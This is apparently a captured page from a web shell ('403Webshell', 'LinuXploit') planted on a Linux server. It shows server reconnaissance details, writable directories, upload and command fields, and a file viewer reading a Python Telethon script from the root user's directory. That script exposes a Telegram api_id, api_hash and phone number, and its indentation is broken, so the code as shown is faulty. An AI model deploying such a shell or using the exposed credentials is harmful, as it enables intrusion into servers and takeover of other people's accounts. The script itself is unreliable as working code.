403Webshell
Server IP : 91.240.85.141  /  Your IP : 216.73.216.223
Web Server : nginx/1.28.0
System : Linux nuevo.ru 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User :  ( 1029)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/self/root/root/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/root/1.py
from telethon import TelegramClient
from telethon.tl.functions.messages import GetHistoryRequest
from telethon.tl.types import InputPeerChannel
import asyncio
from datetime import datetime, timedelta

# =======================
# 1. Данные авторизации
# =======================
api_id = 1212107      # ← замени
api_hash = "0dadaa904164cfbe1dc93353473410e5"  # ← замени
phone = "+79918495756"  # ← твой номер Telegram

# =======================
# 2. ID/username канала
# =======================
channel_username = "@slavyansknakubane"     # или "@my_channel"
# Или channel_id = 123456789

# =======================
# 3. ID группы, куда постить
# =======================
target_chat_id = 2424283763          # группа, где ты админ

# =======================
# Функция
# =======================

async def main():
    # Авторизация
    client = TelegramClient("session_name", api_id, api_hash)
    await client.start(phone=phone)
    print("Авторизовано!")

    # Получаем объект канала
    channel = await client.get_entity(channel_username)

    # Получаем последний 1 пост
    messages = await client.get_messages(channel, limit=1)

if not messages:
    print("В канале нет сообщений.")
    return

last_msg = messages[0]
print("Последний пост получен!")


    # =======================
    # 4. Отложенная публикация (+3 часа)
    # =======================
    schedule_time = datetime.utcnow() + timedelta(hours=3)

    await client.send_message(
        entity=target_chat_id,
        message=last_msg.message,
        schedule=schedule_time
    )

    print(f"Пост запланирован на {schedule_time} (UTC).")

    await client.disconnect()


# Запуск
asyncio.run(main())

Youez - 2016 - github.com/yon3zu
LinuXploit